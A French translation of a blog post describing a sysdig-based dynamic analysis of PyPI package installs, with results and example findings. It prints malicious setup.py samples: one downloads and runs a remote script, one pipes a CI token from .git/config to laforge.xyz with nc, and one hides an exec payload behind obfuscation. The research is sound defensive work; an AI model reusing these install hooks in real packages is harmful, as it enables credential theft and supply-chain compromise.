La réalité est que les gestionnaires de packages comme PyPI sont une infrastructure critique que presque toutes les entreprises utilisent. Je pourrais beaucoup écrire sur ce sujet, mais cette version de xkcd suffira pour le moment.
Ce domaine de connaissance m’intéresse, alors j’ai répondu avec mes réflexions sur la façon dont nous pouvons aborder la solution du problème. Le message entier vaut la peine d'être lu, mais une pensée m'a hanté: ce qui se passe immédiatement après l'installation du paquet.
Les actions telles que la configuration de connexions réseau ou l'exécution de commandes pendant un processus
pip install
doivent toujours être considérées avec prudence, car elles ne donnent pratiquement aucun moyen au développeur d'examiner le code avant que quelque chose de mal ne se produise.
Je voulais approfondir cette question, donc dans cet article, je vais vous expliquer comment j'ai installé et analysé chaque package PyPI à la recherche d'une activité malveillante.
Comment trouver des bibliothèques malveillantes
Les auteurs ajoutent généralement du code à
setup.py
leur fichier de package pour exécuter des commandes arbitraires lors de l'installation . Des exemples peuvent être vus dans ce référentiel .
À un niveau élevé, nous pouvons faire deux choses pour trouver des dépendances potentiellement nuisibles: regarder le code pour les mauvaises choses (analyse statique) ou prendre un risque et simplement les installer pour voir ce qui se passe (analyse dynamique).
Bien que l'analyse statique soit très intéressante (grâce à
grep
j'ai trouvé des paquets malveillants même dans npm ), dans cet article je couvrirai l'analyse dynamique. En fin de compte, je trouve cela plus fiable parce que nous surveillons ce qui se passe réellement , et pas seulement à la recherche de choses désagréables qui peuvent arriver.
Donc qu'est ce qu'on cherche?
Comment les actions importantes sont effectuées
En général, lorsque quelque chose d'important se produit, le processus est effectué par le noyau. Les programmes ordinaires (par exemple
pip
) qui veulent faire des choses importantes via le noyau utilisent des appels système . Ouvrir des fichiers, établir des connexions réseau, exécuter des commandes - tout cela se fait via des appels système!
Vous pouvez en apprendre plus à ce sujet dans la bande dessinée de Julia Evans :
Cela signifie que si nous pouvons observer les appels système lors de l'installation du paquet Python, nous pouvons déterminer s'il se passe quelque chose de suspect. L'avantage de cette approche est qu'elle ne dépend pas du degré d'obfuscation du code - nous voyons exactement ce qui se passe réellement.
Il est important de noter que ce n'est pas moi qui ai eu l'idée de regarder les appels système. Des gens comme Adam Baldwin en parlent depuis 2017 . En outre, il existe un excellent article publié par le Georgia Institute of Technology qui, entre autres, adopte la même approche. En toute honnêteté, dans cet article, je vais simplement essayer de reproduire leur travail.
Nous savons donc que nous voulons suivre les appels système, mais comment y parvenir exactement?
Suivi des appels système avec Sysdig
Il existe de nombreux outils disponibles pour surveiller les appels système. Pour mon projet, j'ai utilisé sysdig car il fournit à la fois une sortie structurée et des fonctions de filtrage pratiques.
Pour que cela fonctionne, lorsque je lance le conteneur Docker qui installe le package, j'ai également lancé le processus sysdig, qui ne surveille que les événements de ce conteneur. J'ai également filtré les opérations de lecture / écriture du réseau de / vers
pypi.org
ou
files.pythonhosted.com
, car je ne voulais pas encombrer les journaux avec le trafic lié aux téléchargements de paquets.
Ayant trouvé un moyen d'intercepter les appels système, j'ai dû résoudre un autre problème: obtenir une liste de tous les paquets PyPI.
Obtenir des packages Python
Heureusement pour nous, PyPI a une API appelée "API simple" qui peut aussi être considérée comme "une très grande page HTML avec un lien vers chaque package" car c'est ce que c'est. Il s'agit d'une page simple et soignée écrite en HTML de très haute qualité.
Vous pouvez prendre cette page et analyser tous les liens avec l'aide
pup
, après avoir reçu environ 268 mille paquets:
❯ curl https://pypi.org/simple/ | pup 'a text{}' > pypi_full.txt
❯ wc -l pypi_full.txt
268038 pypi_full.txt
Pour cette expérience, je ne serai intéressé que par la version la plus récente de chaque package. Il est possible qu'il existe des versions malveillantes de packages enfouis dans des versions plus anciennes, mais les factures AWS ne se paieront pas d'elles-mêmes.
En conséquence, je me suis retrouvé avec quelque chose comme ce pipeline de traitement:
En bref, nous envoyons le nom de chaque package à un ensemble d'instances EC2 (à l'avenir, je voudrais utiliser quelque chose comme Fargate, mais je ne connais pas Fargate, donc ...), qui obtient les métadonnées du package de PyPI, puis exécute sysdig. ainsi qu'un ensemble de conteneurs pour installer le package
pip install
, tout en collectant des informations sur les appels système et le trafic réseau. Ensuite, toutes les données sont transférées vers S3 pour que je puisse les gérer.
Voici à quoi ressemble le processus:
résultats
Après avoir terminé le processus, j'ai obtenu environ un téraoctet de données situées dans le seau S3 et couvrant environ 245 mille paquets. Certains packages n'avaient pas de versions publiées, d'autres avaient diverses erreurs de traitement, mais dans l'ensemble, cela semble être un excellent exemple avec lequel travailler.
Maintenant, pour la partie amusante: un
J'ai combiné les métadonnées et la sortie pour produire un ensemble de fichiers JSON qui ressemblait à ceci:
{
"metadata": {},
"output": {
"dns": [], // Any DNS requests made
"files": [], // All file access operations
"connections": [], // TCP connections established
"commands": [], // Any commands executed
}
}
Ensuite, j'ai écrit un ensemble de scripts pour commencer à collecter des données, en essayant de comprendre ce qui est inoffensif et ce qui est nocif. Explorons certains des résultats.
Requêtes réseau
Il existe de nombreuses raisons pour lesquelles un package peut avoir besoin de créer une connexion réseau pendant le processus d'installation. Peut-être a-t-il besoin de télécharger des binaires ou d'autres ressources, il peut s'agir d'une sorte d'analyse ou il peut essayer d'extraire des données ou des informations comptables du système.
En conséquence, il s'est avéré que 460 paquets créent des connexions réseau vers 109 hôtes uniques. Comme mentionné dans l'article mentionné ci-dessus, bon nombre d'entre eux sont dus au fait que les packages ont une dépendance commune qui crée une connexion réseau. Vous pouvez les filtrer en faisant correspondre les dépendances, mais je ne l'ai pas encore fait.
Une ventilation détaillée des recherches DNS observées lors de l'installation est disponible ici .
Exécution de la commande
Comme pour les connexions réseau, les packages peuvent avoir des raisons inoffensives d'exécuter des commandes système lors de l'installation. Cela peut être fait pour compiler des binaires natifs, configurer l'environnement souhaité, etc.
En examinant notre exemple, il s'est avéré que 60 725 packages exécutaient des commandes lors de l'installation. Et comme pour les connexions réseau, gardez à l'esprit que bon nombre d'entre elles résultent d'une dépendance vis-à-vis du package qui exécute les commandes.
Forfaits intéressants
Après examen des résultats, la plupart des connexions et commandes réseau semblaient inoffensives comme prévu. Mais il y a plusieurs cas de comportements étranges que je voulais signaler afin de démontrer l'utilité de ce type d'analyse.
i-am-malicious
Le package nommé
i-am-malicious
semble être un vérificateur de concept d'un package malveillant. Voici quelques détails intéressants qui nous donnent une idée que ce paquet mérite d'être étudié (si son nom ne nous suffisait pas):
{
"dns": [{
"name": "gist.githubusercontent.com",
"addresses": [
"199.232.64.133"
]
}]
],
"files": [
...
{
"filename": "/tmp/malicious.py",
"flag": "O_RDONLY|O_CLOEXEC"
},
...
{
"filename": "/tmp/malicious-was-here",
"flag": "O_TRUNC|O_CREAT|O_WRONLY|O_CLOEXEC"
},
...
],
"commands": [
"python /tmp/malicious.py"
]
}
Nous commençons immédiatement à comprendre ce qui se passe ici. Nous voyons la connexion en cours
gist.github.com
, l'exécution du fichier Python et la création d'un fichier nommé
/tmp/malicious-was-here
. Bien sûr, cela se produit précisément dans
setup.py
:
from urllib.request import urlopen
handler = urlopen("https://gist.githubusercontent.com/moser/49e6c40421a9c16a114bed73c51d899d/raw/fcdff7e08f5234a726865bb3e02a3cc473cecda7/malicious.py")
with open("/tmp/malicious.py", "wb") as fp:
fp.write(handler.read())
import subprocess
subprocess.call(["python", "/tmp/malicious.py"])
Le fichier
malicious.py
ajoute simplement
/tmp/malicious-was-here
«J'ai été ici» au message, laissant entendre qu'il s'agit bien d'une preuve de concept.
maliciouspackage
Un autre paquet malveillant autoproclamé, ingénieusement nommé
maliciouspackage
, est légèrement plus malveillant. Voici sa sortie:
{
"dns": [{
"name": "laforge.xyz",
"addresses": [
"34.82.112.63"
]
}],
"files": [
{
"filename": "/app/.git/config",
"flag": "O_RDONLY"
},
],
"commands": [
"sh -c apt install -y socat",
"sh -c grep ci-token /app/.git/config | nc laforge.xyz 5566",
"grep ci-token /app/.git/config",
"nc laforge.xyz 5566"
]
}
Comme dans le premier cas, cela nous donne une bonne idée de ce qui se passe. Dans cet exemple, le package extrait le jeton du fichier
.git/config
et le charge dans
laforge.xyz
. En regardant
setup.py
, nous pouvons voir exactement ce qui se passe:
...
import os
os.system('apt install -y socat')
os.system('grep ci-token /app/.git/config | nc laforge.xyz 5566')
easyIoCtl
Le paquet est curieux
easyIoCtl
. Il prétend fournir "une abstraction des E / S ennuyeuses", mais nous voyons les commandes suivantes s'exécuter:
[
"sh -c touch /tmp/testing123",
"touch /tmp/testing123"
]
Suspect mais pas nuisible. Cependant, c'est un exemple parfait de la puissance du suivi des appels système. Voici le code pertinent dans le
setup.py
projet:
class MyInstall():
def run(self):
control_flow_guard_controls = 'l0nE@`eBYNQ)Wg+-,ka}fM(=2v4AVp![dR/\\ZDF9s\x0c~PO%yc X3UK:.w\x0bL$Ijq<&\r6*?\'1>mSz_^C\to#hiJtG5xb8|;\n7T{uH]"r'
control_flow_guard_mappers = [81, 71, 29, 78, 99, 83, 48, 78, 40, 90, 78, 40, 54, 40, 46, 40, 83, 6, 71, 22, 68, 83, 78, 95, 47, 80, 48, 34, 83, 71, 29, 34, 83, 6, 40, 83, 81, 2, 13, 69, 24, 50, 68, 11]
control_flow_guard_init = ""
for controL_flow_code in control_flow_guard_mappers:
control_flow_guard_init = control_flow_guard_init + control_flow_guard_controls[controL_flow_code]
exec(control_flow_guard_init)
Avec ce niveau d'obfuscation, il est difficile de comprendre ce qui se passe. L'analyse statique traditionnelle pourrait suivre l'appel
exec
, mais c'est à peu près tout.
Pour voir ce qui se passe, nous pouvons remplacer par
exec
pour
print
obtenir ceci:
import os;os.system('touch /tmp/testing123')
C'est cette commande que nous avons suivie, et elle démontre que même l'obscurcissement du code n'affecte pas les résultats, car nous effectuons un suivi au niveau des appels système.
Que se passe-t-il lorsque nous trouvons un package malveillant?
Il vaut la peine de décrire brièvement ce que nous pouvons faire lorsque nous trouvons un paquet malveillant. La première étape consiste à informer les volontaires PyPI afin qu'ils puissent supprimer le colis. Vous pouvez le faire en écrivant à security@python.org.
Vous pouvez ensuite voir combien de fois ce package a été téléchargé à l' aide de l'ensemble de données public PyPI sur BigQuery.
Voici un exemple de requête pour voir combien de fois il a
maliciouspackage
été téléchargé au cours des 30 derniers jours:
#standardSQL
SELECT COUNT(*) AS num_downloads
FROM `the-psf.pypi.file_downloads`
WHERE file.project = 'maliciouspackage'
-- Only query the last 30 days of history
AND DATE(timestamp)
BETWEEN DATE_SUB(CURRENT_DATE(), INTERVAL 30 DAY)
AND CURRENT_DATE()
L'exécution de cette requête montre qu'elle a été téléchargée plus de 400 fois:
Passer à autre chose
Jusqu'à présent, nous venons de regarder PyPI en général. En regardant les données, je n'ai pas pu trouver de packages qui exécutent des actions malveillantes significatives et qui n'ont pas le mot «malveillant» dans le nom. Et c'est bien! Mais il y a toujours la possibilité que j'ai manqué quelque chose, ou cela peut arriver à l'avenir. Si vous êtes curieux de connaître les données, vous pouvez les trouver ici .
Plus tard, j'écrirai une fonction lambda pour obtenir les dernières modifications du package en utilisant le flux RSS PyPI. Chaque package mis à jour subira le même traitement et enverra une notification si une activité suspecte est détectée.
Je n'aime toujours pas qu'il soit possible d'exécuter des commandes arbitraires sur le système de l'utilisateur simplement en installant le package via
pip install
... Je comprends que la plupart des cas d'utilisation sont inoffensifs, mais cela ouvre des opportunités de menaces qui doivent être prises en compte. Espérons qu'en renforçant notre surveillance des différents gestionnaires de paquets, nous pourrons détecter les signes d'activité malveillante avant qu'ils n'aient un impact sérieux.
Et cette situation n'est pas propre à PyPI uniquement. Plus tard, j'espère faire la même analyse pour RubyGems, npm et d'autres gestionnaires que les chercheurs mentionnés ci-dessus. Tout le code utilisé pour exécuter l'expérience peut être trouvé ici . Comme toujours, si vous avez des questions, posez-les !
La publicité
VDSina propose des serveurs virtuels pour Linux et Windows - choisissez l'un des systèmes d'exploitation préinstallés ou installez à partir de votre image.